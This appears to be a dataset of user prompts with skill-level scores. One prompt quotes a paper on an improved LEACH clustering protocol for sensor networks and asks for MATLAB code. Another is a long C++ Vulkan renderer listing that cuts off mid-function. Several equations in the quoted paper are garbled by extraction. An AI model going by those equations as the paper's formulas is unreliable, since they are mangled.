{ "intermediate": 0.3654654324054718, "beginner": 0.3128426671028137, "expert": 0.3216918706893921 }
11,809
""" SECTION IV.Proposed Algorithm On breaking down the properties of LEACH protocol, cluster head selection plays the main role in enhancing and improving the network lifetime, data transmission and energy-efficient. We propose a new algorithm to improve the lifetime of the network by selecting Cluster Head (CH) and Secondary Cluster Head (SCH) in the sensor setup phase of each round. According to previous researches, the nearest the distance between CH and BS, the better lifetime and energy-efficient the network is. Basis equation (1) we choose to select the closest node to the BS as CH and the closest node to the CH as SCH, with considering on energy and distance parameters of the node. Depending on this suggestion, if the CH dead the cluster will not cut off the communication with the sink and the secondary cluster head replace the dead cluster head and pronounces itself as a cluster head. Rather than that, the cluster continuously connecting the sink as long as the active node alive in the cluster. The threshold in the proposed method is defined as follows: T(ni)={p1−ps(rmod(1p)i0+⎛⎝⎜2–√−dis(st)(x+y4)⎞⎠⎟/α(3) View SourceRight-click on figure for MathML and additional features. \begin{equation*}T\left( {{n_i}} \right) = \begin{cases} {\frac{p}{{1 - {p_s}\left( {r\,\bmod \,{{\left( {\frac{1}{p}} \right)}_i}} \right.}}} \\ 0 \end{cases} + {{\left( {\sqrt 2 - \frac{{dis\left( {st} \right)}}{{\left( {\frac{{x + y}}{4}} \right)}}} \right)} \mathord{\left/ {\vphantom {{\left( {\sqrt 2 - \frac{{dis\left( {st} \right)}}{{\left( {\frac{{x + y}}{4}} \right)}}} \right)} \alpha }} \right.} \alpha }\tag{3}\end{equation*} The threshold is defined above because we want node energy criteria and node-sink distance to be effective in determining CH and SCH. Although Select secondary cluster head costs more time in the setup phase for the same round, it keeps the cluster communicate with the BS in case it has alive nodes. Equation 4 what we call the distance coefficient, 2–√−dis(st)(x+y4)⎞⎠⎟/α(4) View SourceRight-click on figure for MathML and additional features. \begin{equation*}{{\left. {\sqrt 2 - \frac{{dis\left( {st} \right)}}{{\left( {\frac{{x + y}}{4}} \right)}}} \right)} \mathord{\left/ {\vphantom {{\left. {\sqrt 2 - \frac{{dis\left( {st} \right)}}{{\left( {\frac{{x + y}}{4}} \right)}}} \right)} \alpha }} \right.} \alpha }\tag{4}\end{equation*} increases the likelihood of nodes being shorter than the sink. dis(si) compute the distance of the node i to the sink. This value can be calculated by relying on the Euclidean distance (the distance between two nodes is the line length between them) and as shown in equation (5) d(p,q)=(q1−p−−−−−−√(5)p2)2¯¯¯¯¯¯¯¯¯. View SourceRight-click on figure for MathML and additional features. \begin{equation*}\begin{array}{ccc} {d\left( {{\mathbf{p}},{\mathbf{q}}} \right) = \sqrt {\left( {{q_1} - p} \right.} }&{\left( 5 \right)}&{\overline {{{\left. {{p_2}} \right)}^2}} } \end{array}.\end{equation*} Where, points p = (p1 p2) and q = (q1 q2) are the locations of the two nodes The number of CH should equal the number of SCH (one SCH for each CH) at the beginning of the round. Returning to reducing data transmission time, we suggest that the position of BS should be in the center of the WSN as shown in Figure 2 surrounding with four equal-area squares in order to optimize energy consumption for communicating between clusters and BS Figure 2: - Architecture platform of the proposed algorithm Figure 2: Architecture platform of the proposed algorithm Show All From the perspective of making the network with high latency. we applythe algorithm of node density in the cluster.Some nodes are not able to join the cluster because they have not the range ratio of any cluster, So they connect to BS directly without electing CH by the protocol which called Direct transmission (DTx), where (we assume Figure 3 illustrates this algorithm. SECTION V.BASE LINE SIMULATION Considering the major issues of the Wireless Sensor Networks, We focus on the most common algorithm. LEACH protocol, which enhanced the performance of the WSN such as Energy efficient, Transmission time, transmission rate, optimal position of the sink, the optimal position of the cluster head, node density and network lifetime. These are the main performance enhancement factors that we figure out in this paper. Figure 4 shows the initial LEACH protocol with homogenous network topology using MATLAB (Version: 9.2.0,518641) with an area of 100 × 100m. BS is in the center of the network (50,50), with 100 nodes are deployed randomly and certain nodes are randomly selected as cluster heads. We fixed a maximum number of clusters to be 10, a maximum number of rounds is 5000 and the initial energy equal 0.5Joules. Figure 3: - Nodes density in a cluster; LEACH protocol connection and DTx protocol connection with BS Figure 3: Nodes density in a cluster; LEACH protocol connection and DTx protocol connection with BS Show All Then, we set the data packet size equal to 4000 bits and the number of packets from each node to be 10 each round. We prefer to save the same parameters for all algorithms to gain fair comparison. Figure 4: - LEACH protocol topology in Matlab, where all the nodes are alive Figure 4: LEACH protocol topology in Matlab, where all the nodes are alive Show All First issue is choosing the cluster head and to build our baseline, we explore the basic LEACH protocol simulation with respect to the fixed parameters and we found that the first dead node is in round 1428, and the last dead node is in round 1934 as shown in the Figure 5. The red dots are the dead nodes in contrast with round value. The process in LEACH protocol is divided into two phases. First, elect the Cluster head which form the clusters (setup phase). Second, data communication start between ordinary nodes and their cluster head and between cluster heads and base station (steady state phase). Because randomly selection of cluster head, all nodes have the same probability to be a cluster head, which increases the energy consumption. As soon as the cluster head is elected, the CH node warns the other nodes that it is the CH. The nodes sense the data and send packets to the CH in the same cluster, CH collect the data from nodes and transmit it to the base station. Data communication is conducted by TDMA routing protocol. Each node takes slot time to send its data packet. Figure 5 illustrates a snapshot of the network during the last period. The small red nodes denotes the dead nodes in the network. While, Figure 6 shows a snapshot of network, while communicating and transferring the data packets. Figure 5: - Snapshot of the network during the last period. red dots (small ones) denote the dead nodes Figure 5: Snapshot of the network during the last period. red dots (small ones) denote the dead nodes Show All Figure 6: - Snapshot of network while communicating and transferring packets Figure 6: Snapshot of network while communicating and transferring packets Show All Alive nodes counting in contrast with a number of rounds are lustrated in Figure 7. The figure shows alive node analysis of asic LEACH protocol. As shown in the figure, the nodes start dead during round 1547, and then all nodes are dead in round 1934. Figure 7: - Alive node analysis of basic LEACH Figure 7: Alive node analysis of basic LEACH Show All The network lifetime influenced by the energy consumption of each node. When the consumed energy increases, network lifetime decreases. Figure 8 illustrates the basic LEACH with average consumed energy in each round. Figure 8: - Average consumed energy of basic LEACH Figure 8: Average consumed energy of basic LEACH Show All Next section, we discuss the simulation results of the proposed algorithm and compare the result with the basic leach protocol. """ 上述为LEACH算法的改进论文的proposed algorithm和simulation部分,请帮我编写matlab代码复现该实验
c1fb343a68a2d840b9c174694667de08
{ "intermediate": 0.29719552397727966, "beginner": 0.35824453830718994, "expert": 0.3445599675178528 }
11,810
I’m building a video game engine using C++ as the coding language and Vulkan for graphics. I am trying to set up a generic renderer using Vulkan that is flexible and will render objects based on a vector that is supplied to it. The renderer will also handle the creation of the window using GLFW and use GLM for all relevant math calls. I am using the ASSIMP library to load 3d models and animations. Here is a portion of the code: Renderer.h: #pragma once #include <vulkan/vulkan.h> #include "Window.h" #include <vector> #include <stdexcept> #include <set> #include <optional> #include <iostream> #include "Pipeline.h" #include "Material.h" #include "Mesh.h" struct QueueFamilyIndices { std::optional<uint32_t> graphicsFamily; std::optional<uint32_t> presentFamily; bool IsComplete() { return graphicsFamily.has_value() && presentFamily.has_value(); } }; struct SwapChainSupportDetails { VkSurfaceCapabilitiesKHR capabilities; std::vector<VkSurfaceFormatKHR> formats; std::vector<VkPresentModeKHR> presentModes; }; struct MVP { glm::mat4 model; glm::mat4 view; glm::mat4 projection; }; class Renderer { public: Renderer(); ~Renderer(); void Initialize(GLFWwindow* window); void Shutdown(); void BeginFrame(); void EndFrame(); VkDescriptorSetLayout CreateDescriptorSetLayout(); VkDescriptorPool CreateDescriptorPool(uint32_t maxSets); VkDevice* GetDevice(); VkPhysicalDevice* GetPhysicalDevice(); VkCommandPool* GetCommandPool(); VkQueue* GetGraphicsQueue(); VkCommandBuffer* GetCurrentCommandBuffer(); std::shared_ptr<Pipeline> GetPipeline(); void CreateGraphicsPipeline(Mesh* mesh, Material* material); std::pair<VkBuffer, VkDeviceMemory> RequestMvpBuffer(); private: bool isShutDown = false; static const uint32_t kMvpBufferCount = 3; std::vector<VkBuffer> mvpBuffers; std::vector<VkDeviceMemory> mvpBufferMemory; uint32_t currentMvpBufferIndex = 0; bool shutdownInProgress; uint32_t currentCmdBufferIndex = 0; std::vector<size_t> currentFramePerImage; std::vector<VkImage> swapChainImages; std::vector<VkImageView> swapChainImageViews; VkExtent2D swapChainExtent; VkRenderPass renderPass; uint32_t imageIndex; std::shared_ptr<Pipeline> pipeline; VkFormat swapChainImageFormat; std::vector<VkCommandBuffer> commandBuffers; void CreateImageViews(); void CleanupImageViews(); void CreateRenderPass(); void CleanupRenderPass(); void CreateSurface(); void DestroySurface(); void CreateInstance(); void CleanupInstance(); void ChoosePhysicalDevice(); void CreateDevice(); void CleanupDevice(); void CreateSwapchain(); void CleanupSwapchain(); void CreateCommandPool(); void CleanupCommandPool(); void CreateFramebuffers(); void CleanupFramebuffers(); void CreateCommandBuffers(); void CleanupCommandBuffers(); void Present(); GLFWwindow* window; VkInstance instance = VK_NULL_HANDLE; VkPhysicalDevice physicalDevice = VK_NULL_HANDLE; VkDevice device = VK_NULL_HANDLE; VkSurfaceKHR surface; VkSwapchainKHR swapchain; VkCommandPool commandPool; VkCommandBuffer currentCommandBuffer; std::vector<VkFramebuffer> framebuffers; // Additional Vulkan objects needed for rendering… const uint32_t kMaxFramesInFlight = 2; std::vector<VkSemaphore> imageAvailableSemaphores; std::vector<VkSemaphore> renderFinishedSemaphores; std::vector<VkFence> inFlightFences; size_t currentFrame; VkQueue graphicsQueue; VkQueue presentQueue; void CreateSyncObjects(); void CleanupSyncObjects(); SwapChainSupportDetails querySwapChainSupport(VkPhysicalDevice device, VkSurfaceKHR surface); VkSurfaceFormatKHR chooseSwapSurfaceFormat(const std::vector<VkSurfaceFormatKHR>& availableFormats); VkPresentModeKHR chooseSwapPresentMode(const std::vector<VkPresentModeKHR>& availablePresentModes); VkExtent2D chooseSwapExtent(const VkSurfaceCapabilitiesKHR& capabilities, GLFWwindow* window); std::vector<const char*> deviceExtensions = { VK_KHR_SWAPCHAIN_EXTENSION_NAME }; std::vector<const char*> CheckPhysicalDeviceExtensionSupport(VkPhysicalDevice physicalDevice); QueueFamilyIndices GetQueueFamilyIndices(VkPhysicalDevice physicalDevice); }; Renderer.cpp: #include "Renderer.h" Renderer::Renderer() : currentFrame(0), shutdownInProgress(false) { } Renderer::~Renderer() { Shutdown(); } void Renderer::Initialize(GLFWwindow* window) { this->window = window; CreateInstance(); CreateSurface(); ChoosePhysicalDevice(); CreateDevice(); // Create the MVP buffers mvpBuffers.resize(kMvpBufferCount); mvpBufferMemory.resize(kMvpBufferCount); for (uint32_t i = 0; i < kMvpBufferCount; ++i) { BufferUtils::CreateBuffer(device, *GetPhysicalDevice(), sizeof(MVP), VK_BUFFER_USAGE_UNIFORM_BUFFER_BIT, VK_MEMORY_PROPERTY_HOST_VISIBLE_BIT | VK_MEMORY_PROPERTY_HOST_COHERENT_BIT, mvpBuffers[i], mvpBufferMemory[i]); } CreateSwapchain(); CreateRenderPass(); CreateCommandPool(); CreateFramebuffers(); CreateSyncObjects(); } void Renderer::Shutdown() { if (isShutDown) { return; } if (shutdownInProgress) { return; } shutdownInProgress = true; if (device != VK_NULL_HANDLE) { vkDeviceWaitIdle(device); } CleanupFramebuffers(); CleanupRenderPass(); CleanupSyncObjects(); CleanupCommandPool(); CleanupImageViews(); CleanupSwapchain(); // Destroy the MVP buffers for (uint32_t i = 0; i < kMvpBufferCount; ++i) { vkDestroyBuffer(device, mvpBuffers[i], nullptr); vkFreeMemory(device, mvpBufferMemory[i], nullptr); } if (device != VK_NULL_HANDLE) { CleanupDevice(); } DestroySurface(); CleanupInstance(); shutdownInProgress = false; isShutDown = true; } void Renderer::BeginFrame() { // Wait for any previous work on this swapchain image to complete vkWaitForFences(device, 1, &inFlightFences[currentFrame], VK_TRUE, UINT64_MAX); vkResetFences(device, 1, &inFlightFences[currentFrame]); // Acquire an image from the swapchain, then begin recording commands for the current frame. VkResult acquireResult = vkAcquireNextImageKHR(device, swapchain, UINT64_MAX, imageAvailableSemaphores[currentFrame], VK_NULL_HANDLE, &imageIndex); if (acquireResult != VK_SUCCESS && acquireResult != VK_SUBOPTIMAL_KHR) { throw std::runtime_error("Failed to acquire next swapchain image."); } VkCommandBufferBeginInfo beginInfo{}; beginInfo.sType = VK_STRUCTURE_TYPE_COMMAND_BUFFER_BEGIN_INFO; //currentCommandBuffer = commandBuffers[currentFrame]; currentCmdBufferIndex = (currentCmdBufferIndex + 1) % 2; currentCommandBuffer = commandBuffers[currentFrame * 2 + currentCmdBufferIndex]; // Add debug message before vkBeginCommandBuffer //std::cout << "Current Frame: " << currentFrame << " | Cmd Buffer Index: " << currentCmdBufferIndex << " | Image Index: " << imageIndex << "\n"; //std::cout << "Calling vkBeginCommandBuffer…\n"; vkBeginCommandBuffer(currentCommandBuffer, &beginInfo); //std::cout << "vkBeginCommandBuffer called…\n"; VkRenderPassBeginInfo renderPassInfo{}; renderPassInfo.sType = VK_STRUCTURE_TYPE_RENDER_PASS_BEGIN_INFO; renderPassInfo.renderPass = renderPass; renderPassInfo.framebuffer = framebuffers[imageIndex]; renderPassInfo.renderArea.offset = { 0, 0 }; renderPassInfo.renderArea.extent = swapChainExtent; // Set the clear color to black VkClearValue clearColor = { 0.0f, 0.0f, 0.0f, 1.0f }; renderPassInfo.clearValueCount = 1; renderPassInfo.pClearValues = &clearColor; vkCmdBeginRenderPass(currentCommandBuffer, &renderPassInfo, VK_SUBPASS_CONTENTS_INLINE); } void Renderer::EndFrame() { vkCmdEndRenderPass(currentCommandBuffer); VkSubmitInfo submitInfo{}; submitInfo.sType = VK_STRUCTURE_TYPE_SUBMIT_INFO; VkPipelineStageFlags waitStages[] = { VK_PIPELINE_STAGE_COLOR_ATTACHMENT_OUTPUT_BIT }; submitInfo.waitSemaphoreCount = 1; submitInfo.pWaitSemaphores = &imageAvailableSemaphores[currentFrame]; submitInfo.pWaitDstStageMask = waitStages; submitInfo.commandBufferCount = 1; submitInfo.pCommandBuffers = &currentCommandBuffer; submitInfo.signalSemaphoreCount = 1; submitInfo.pSignalSemaphores = &renderFinishedSemaphores[currentFrame]; vkEndCommandBuffer(currentCommandBuffer); vkQueueSubmit(graphicsQueue, 1, &submitInfo, inFlightFences[currentFrame]); VkPresentInfoKHR presentInfo{}; presentInfo.sType = VK_STRUCTURE_TYPE_PRESENT_INFO_KHR; presentInfo.waitSemaphoreCount = 1; presentInfo.pWaitSemaphores = &renderFinishedSemaphores[currentFrame]; VkSwapchainKHR swapChains[] = { swapchain }; presentInfo.swapchainCount = 1; presentInfo.pSwapchains = swapChains; presentInfo.pImageIndices = &imageIndex; VkResult queuePresentResult = vkQueuePresentKHR(presentQueue, &presentInfo); //std::cout << "Frame rendered: " << currentFrame << "\n"; if (queuePresentResult == VK_ERROR_OUT_OF_DATE_KHR || queuePresentResult == VK_SUBOPTIMAL_KHR) { // Handle swapchain recreation if needed, e.g., due to resizing the window or other swapchain properties changes } else if (queuePresentResult != VK_SUCCESS) { throw std::runtime_error("Failed to present the swapchain image."); } currentFrame = (currentFrame + 1) % kMaxFramesInFlight; } void Renderer::CreateSurface() { if (glfwCreateWindowSurface(instance, window, nullptr, &surface) != VK_SUCCESS) { throw std::runtime_error("Failed to create a window surface."); } } void Renderer::DestroySurface() { vkDestroySurfaceKHR(instance, surface, nullptr); } void Renderer::CreateInstance() { // Set up the application info VkApplicationInfo appInfo{}; appInfo.sType = VK_STRUCTURE_TYPE_APPLICATION_INFO; appInfo.pApplicationName = "Game Engine"; appInfo.applicationVersion = VK_MAKE_VERSION(1, 0, 0); appInfo.pEngineName = "Game Engine"; appInfo.engineVersion = VK_MAKE_VERSION(1, 0, 0); appInfo.apiVersion = VK_API_VERSION_1_2; // Set up the instance create info VkInstanceCreateInfo createInfo{}; createInfo.sType = VK_STRUCTURE_TYPE_INSTANCE_CREATE_INFO; createInfo.pApplicationInfo = &appInfo; // Set up the required extensions uint32_t glfwExtensionCount = 0; const char** glfwExtensions; glfwExtensions = glfwGetRequiredInstanceExtensions(&glfwExtensionCount); createInfo.enabledExtensionCount = glfwExtensionCount; createInfo.ppEnabledExtensionNames = glfwExtensions; createInfo.enabledLayerCount = 0; std::vector<const char*> validationLayers; #ifdef NDEBUG const bool enableValidationLayers = false; #else const bool enableValidationLayers = true; validationLayers.push_back("VK_LAYER_KHRONOS_validation"); #endif if (enableValidationLayers) { // Check if validation layers are supported uint32_t layerCount; vkEnumerateInstanceLayerProperties(&layerCount, nullptr); std::vector<VkLayerProperties> availableLayers(layerCount); vkEnumerateInstanceLayerProperties(&layerCount, availableLayers.data()); for (const char* layerName : validationLayers) { bool layerFound = false; for (const auto& layerProperties : availableLayers) { if (strcmp(layerName, layerProperties.layerName) == 0) { layerFound = true; break; } } if (!layerFound) { throw std::runtime_error("Validation layer requested, but it’s not available."); } } // Enable the validation layers createInfo.enabledLayerCount = static_cast<uint32_t>(validationLayers.size()); createInfo.ppEnabledLayerNames = validationLayers.data(); } else { createInfo.enabledLayerCount = 0; } // Create the Vulkan instance if (vkCreateInstance(&createInfo, nullptr, &instance) != VK_SUCCESS) { throw std::runtime_error("Failed to create the Vulkan instance."); } } void Renderer::CleanupInstance() { // Destroy the Vulkan instance vkDestroyInstance(instance, nullptr); } void Renderer::ChoosePhysicalDevice() { // Enumerate the available physical devices and choose one that supports required features uint32_t deviceCount = 0; vkEnumeratePhysicalDevices(instance, &deviceCount, nullptr); if (deviceCount == 0) { throw std::runtime_error("Failed to find a GPU with Vulkan support."); } std::vector<VkPhysicalDevice> allDevices(deviceCount); vkEnumeratePhysicalDevices(instance, &deviceCount, allDevices.data()); for (const auto& testDevice : allDevices) { if (glfwGetPhysicalDevicePresentationSupport(instance, testDevice, 0) && CheckPhysicalDeviceExtensionSupport(testDevice).empty() && GetQueueFamilyIndices(testDevice).IsComplete()) { VkPhysicalDeviceFeatures supportedFeatures; vkGetPhysicalDeviceFeatures(testDevice, &supportedFeatures); // Check for anisotropic filtering support if (supportedFeatures.samplerAnisotropy) { physicalDevice = testDevice; break; } } } if (physicalDevice == VK_NULL_HANDLE) { throw std::runtime_error("Failed to find a suitable GPU."); } } void Renderer::CreateDevice() { // Get the GPU’s queue family indices const QueueFamilyIndices indices = GetQueueFamilyIndices(physicalDevice); // Set up the device queue create info std::vector<VkDeviceQueueCreateInfo> queueCreateInfos; std::set<uint32_t> uniqueQueueFamilyIndices = { indices.graphicsFamily.value(),indices.presentFamily.value() }; float queuePriority = 1.0f; for (uint32_t queueFamilyIndex : uniqueQueueFamilyIndices) { VkDeviceQueueCreateInfo queueCreateInfo{}; queueCreateInfo.sType = VK_STRUCTURE_TYPE_DEVICE_QUEUE_CREATE_INFO; queueCreateInfo.queueFamilyIndex = queueFamilyIndex; queueCreateInfo.queueCount = 1; queueCreateInfo.pQueuePriorities = &queuePriority; queueCreateInfos.push_back(queueCreateInfo); } // Set up the physical device features VkPhysicalDeviceFeatures deviceFeatures{}; deviceFeatures.samplerAnisotropy = VK_TRUE; // Enable anisotropic filtering // Set up the device create info VkDeviceCreateInfo createInfo{}; createInfo.sType = VK_STRUCTURE_TYPE_DEVICE_CREATE_INFO; createInfo.queueCreateInfoCount = static_cast<uint32_t>(queueCreateInfos.size()); createInfo.pQueueCreateInfos = queueCreateInfos.data(); createInfo.pEnabledFeatures = &deviceFeatures; createInfo.enabledExtensionCount = static_cast<uint32_t>(deviceExtensions.size()); createInfo.ppEnabledExtensionNames = deviceExtensions.data(); // Create the logical device if (vkCreateDevice(physicalDevice, &createInfo, nullptr, &device) != VK_SUCCESS) { throw std::runtime_error("Failed to create a logical device."); } // Retrieve the graphics queue and the present queue vkGetDeviceQueue(device, indices.graphicsFamily.value(), 0, &graphicsQueue); vkGetDeviceQueue(device, indices.presentFamily.value(), 0, &presentQueue); } void Renderer::CleanupDevice() { // Reset the pipeline first to ensure it’s destroyed before the device pipeline.reset(); // Destroy the logical device vkDestroyDevice(device, nullptr); } void Renderer::CreateSwapchain() { // Get swapchain support details SwapChainSupportDetails swapChainSupport = querySwapChainSupport(physicalDevice,surface); VkSurfaceFormatKHR surfaceFormat = chooseSwapSurfaceFormat(swapChainSupport.formats); swapChainImageFormat = surfaceFormat.format; // Initialize the swapChainImageFormat VkPresentModeKHR presentMode = chooseSwapPresentMode(swapChainSupport.presentModes); VkExtent2D extent = chooseSwapExtent(swapChainSupport.capabilities,window); // Update the swapChainExtent with the chosen extent swapChainExtent = extent; uint32_t imageCount = swapChainSupport.capabilities.minImageCount + 1; if (swapChainSupport.capabilities.maxImageCount > 0 && imageCount > swapChainSupport.capabilities.maxImageCount) { imageCount = swapChainSupport.capabilities.maxImageCount; } // Create the swapchain // … VkSwapchainCreateInfoKHR createInfo{}; createInfo.sType = VK_STRUCTURE_TYPE_SWAPCHAIN_CREATE_INFO_KHR; createInfo.surface = surface; createInfo.minImageCount = imageCount; createInfo.imageFormat = surfaceFormat.format; createInfo.imageColorSpace = surfaceFormat.colorSpace; createInfo.imageExtent = extent; createInfo.imageArrayLayers = 1; createInfo.imageUsage = VK_IMAGE_USAGE_COLOR_ATTACHMENT_BIT; QueueFamilyIndices indices = GetQueueFamilyIndices(physicalDevice); uint32_t queueFamilyIndices[] = { indices.graphicsFamily.value(), indices.presentFamily.value() }; if (indices.graphicsFamily != indices.presentFamily) { createInfo.imageSharingMode = VK_SHARING_MODE_CONCURRENT; createInfo.queueFamilyIndexCount = 2; createInfo.pQueueFamilyIndices = queueFamilyIndices; } else { createInfo.imageSharingMode = VK_SHARING_MODE_EXCLUSIVE; } createInfo.preTransform = swapChainSupport.capabilities.currentTransform; createInfo.compositeAlpha = VK_COMPOSITE_ALPHA_OPAQUE_BIT_KHR; createInfo.presentMode = presentMode; createInfo.clipped = VK_TRUE; if (vkCreateSwapchainKHR(device, &createInfo, nullptr, &swapchain) != VK_SUCCESS) { throw std::runtime_error("failed to create swap chain!"); } // Retrieve swapchain images (color buffers) // … // Retrieve swapchain images vkGetSwapchainImagesKHR(device, swapchain, &imageCount, nullptr); swapChainImages.resize(imageCount); vkGetSwapchainImagesKHR(device, swapchain, &imageCount, swapChainImages.data()); // Create image views for swapchain images CreateImageViews(); } void Renderer::CleanupSwapchain() { // Clean up Vulkan swapchain if (swapchain != VK_NULL_HANDLE) { vkDestroySwapchainKHR(device, swapchain, nullptr); swapchain = VK_NULL_HANDLE; } } void Renderer::CreateImageViews() { swapChainImageViews.resize(swapChainImages.size()); for (size_t i = 0; i < swapChainImages.size(); ++i) { VkImageViewCreateInfo createInfo{}; createInfo.sType = VK_STRUCTURE_TYPE_IMAGE_VIEW_CREATE_INFO; createInfo.image = swapChainImages[i]; createInfo.viewType = VK_IMAGE_VIEW_TYPE_2D; createInfo.format = swapChainImageFormat; createInfo.components.r = VK_COMPONENT_SWIZZLE_IDENTITY; createInfo.components.g = VK_COMPONENT_SWIZZLE_IDENTITY; createInfo.components.b = VK_COMPONENT_SWIZZLE_IDENTITY; createInfo.components.a = VK_COMPONENT_SWIZZLE_IDENTITY; createInfo.subresourceRange.aspectMask = VK_IMAGE_ASPECT_COLOR_BIT; createInfo.subresourceRange.baseMipLevel = 0; createInfo.subresourceRange.levelCount = 1; createInfo.subresourceRange.baseArrayLayer = 0; createInfo.subresourceRange.layerCount = 1; createInfo.flags = 0; if (vkCreateImageView(device, &createInfo, nullptr, &swapChainImageViews[i]) != VK_SUCCESS) { throw std::runtime_error("Failed to create an image view."); } } } void Renderer::CleanupImageViews() { for (auto imageView : swapChainImageViews) { vkDestroyImageView(device, imageView, nullptr); } swapChainImageViews.clear(); } void Renderer::CreateRenderPass() { VkAttachmentDescription colorAttachment{}; colorAttachment.format = swapChainImageFormat; colorAttachment.samples = VK_SAMPLE_COUNT_1_BIT; colorAttachment.loadOp = VK_ATTACHMENT_LOAD_OP_CLEAR; colorAttachment.storeOp = VK_ATTACHMENT_STORE_OP_STORE; colorAttachment.stencilLoadOp = VK_ATTACHMENT_LOAD_OP_DONT_CARE; colorAttachment.stencilStoreOp = VK_ATTACHMENT_STORE_OP_DONT_CARE; colorAttachment.initialLayout = VK_IMAGE_LAYOUT_UNDEFINED; colorAttachment.finalLayout = VK_IMAGE_LAYOUT_PRESENT_SRC_KHR; VkAttachmentReference colorAttachmentRef{}; colorAttachmentRef.attachment = 0; colorAttachmentRef.layout = VK_IMAGE_LAYOUT_COLOR_ATTACHMENT_OPTIMAL; VkSubpassDescription subpass{}; subpass.pipelineBindPoint = VK_PIPELINE_BIND_POINT_GRAPHICS; subpass.colorAttachmentCount = 1; subpass.pColorAttachments = &colorAttachmentRef; VkRenderPassCreateInfo renderPassInfo{}; renderPassInfo.sType = VK_STRUCTURE_TYPE_RENDER_PASS_CREATE_INFO; renderPassInfo.attachmentCount = 1; renderPassInfo.pAttachments = &colorAttachment; renderPassInfo.subpassCount = 1; renderPassInfo.pSubpasses = &subpass; VkSubpassDependency dependency{}; dependency.srcSubpass = VK_SUBPASS_EXTERNAL; dependency.dstSubpass = 0; dependency.srcStageMask = VK_PIPELINE_STAGE_COLOR_ATTACHMENT_OUTPUT_BIT; dependency.srcAccessMask = 0; dependency.dstStageMask = VK_PIPELINE_STAGE_COLOR_ATTACHMENT_OUTPUT_BIT; dependency.dstAccessMask = VK_ACCESS_COLOR_ATTACHMENT_WRITE_BIT; renderPassInfo.dependencyCount = 1; renderPassInfo.pDependencies = &dependency; if (vkCreateRenderPass(device, &renderPassInfo, nullptr, &renderPass) != VK_SUCCESS) { throw std::runtime_error("Failed to create render pass."); } } void Renderer::CleanupRenderPass() { vkDestroyRenderPass(device, renderPass, nullptr); } void Renderer::CreateCommandPool() { // Find a queue family index that supports graphics operations QueueFamilyIndices queueFamilyIndices = GetQueueFamilyIndices(physicalDevice); // Create a command pool for the queue family VkCommandPoolCreateInfo poolInfo{}; poolInfo.sType = VK_STRUCTURE_TYPE_COMMAND_POOL_CREATE_INFO; poolInfo.queueFamilyIndex = queueFamilyIndices.graphicsFamily.value(); poolInfo.flags = VK_COMMAND_POOL_CREATE_RESET_COMMAND_BUFFER_BIT; // Set the flag here if (vkCreateCommandPool(device, &poolInfo, nullptr, &commandPool) != VK_SUCCESS) { throw std::runtime_error("Failed to create command pool."); } CreateCommandBuffers(); // Create command buffers after creating the command pool } void Renderer::CleanupCommandPool() { // Clean up Vulkan command pool CleanupCommandBuffers(); // Add this line to clean up command buffers before destroying the command pool vkDestroyCommandPool(device, commandPool, nullptr); } void Renderer::CreateCommandBuffers() { //commandBuffers.resize(kMaxFramesInFlight); commandBuffers.resize(kMaxFramesInFlight * 2); VkCommandBufferAllocateInfo allocInfo{}; allocInfo.sType = VK_STRUCTURE_TYPE_COMMAND_BUFFER_ALLOCATE_INFO; allocInfo.commandPool = commandPool; allocInfo.level = VK_COMMAND_BUFFER_LEVEL_PRIMARY; allocInfo.commandBufferCount = static_cast<uint32_t>(commandBuffers.size()); if (vkAllocateCommandBuffers(device, &allocInfo, commandBuffers.data()) != VK_SUCCESS) { throw std::runtime_error("Failed to allocate command buffers."); } // Set the initial value of the currentCommandBuffer currentCommandBuffer = commandBuffers[currentFrame]; } void Renderer::CleanupCommandBuffers() { vkFreeCommandBuffers(device, commandPool, static_cast<uint32_t>(commandBuffers.size()), commandBuffers.data()); } void Renderer::CreateFramebuffers() { // Check if the framebuffers vector is not empty, and call CleanupFramebuffers() if (!framebuffers.empty()) { CleanupFramebuffers(); } // Create Vulkan framebuffers for swapchain images framebuffers.resize(swapChainImageViews.size()); for (size_t i = 0; i < swapChainImageViews.size(); ++i) { VkImageView attachments[] = { swapChainImageViews[i] }; VkFramebufferCreateInfo framebufferInfo{}; framebufferInfo.sType = VK_STRUCTURE_TYPE_FRAMEBUFFER_CREATE_INFO; framebufferInfo.renderPass = renderPass; framebufferInfo.attachmentCount = 1; framebufferInfo.pAttachments = attachments; framebufferInfo.width = swapChainExtent.width; framebufferInfo.height = swapChainExtent.height; framebufferInfo.layers = 1; if (vkCreateFramebuffer(device, &framebufferInfo, nullptr, &framebuffers[i]) != VK_SUCCESS) { throw std::runtime_error("Failed to create framebuffer."); } } } void Renderer::CleanupFramebuffers() { for (auto framebuffer : framebuffers) { if (framebuffer != VK_NULL_HANDLE) { vkDestroyFramebuffer(device, framebuffer, nullptr); framebuffer = VK_NULL_HANDLE; } } framebuffers.clear(); // Make sure to clear the framebuffers vector after destroying each framebuffer } void Renderer::CreateSyncObjects() { imageAvailableSemaphores.resize(kMaxFramesInFlight, VK_NULL_HANDLE); renderFinishedSemaphores.resize(kMaxFramesInFlight, VK_NULL_HANDLE); inFlightFences.resize(kMaxFramesInFlight, VK_NULL_HANDLE); VkSemaphoreCreateInfo semaphoreInfo{}; semaphoreInfo.sType = VK_STRUCTURE_TYPE_SEMAPHORE_CREATE_INFO; VkFenceCreateInfo fenceInfo{}; fenceInfo.sType = VK_STRUCTURE_TYPE_FENCE_CREATE_INFO; fenceInfo.flags = VK_FENCE_CREATE_SIGNALED_BIT; for (size_t i = 0; i < kMaxFramesInFlight; ++i) { if (vkCreateSemaphore(device, &semaphoreInfo, nullptr, &imageAvailableSemaphores[i]) != VK_SUCCESS || vkCreateSemaphore(device, &semaphoreInfo, nullptr, &renderFinishedSemaphores[i]) != VK_SUCCESS || vkCreateFence(device, &fenceInfo, nullptr, &inFlightFences[i]) != VK_SUCCESS) { throw std::runtime_error("Failed to create synchronization objects for a frame."); } } } void Renderer::CleanupSyncObjects() { for (size_t i = 0; i < kMaxFramesInFlight; ++i) { if (renderFinishedSemaphores[i] != VK_NULL_HANDLE) vkDestroySemaphore(device, renderFinishedSemaphores[i], nullptr); if (imageAvailableSemaphores[i] != VK_NULL_HANDLE) vkDestroySemaphore(device, imageAvailableSemaphores[i], nullptr); if (inFlightFences[i] != VK_NULL_HANDLE) vkDestroyFence(device, inFlightFences[i], nullptr); } } SwapChainSupportDetails Renderer::querySwapChainSupport(VkPhysicalDevice device, VkSurfaceKHR surface) { SwapChainSupportDetails details; // Query the capabilities 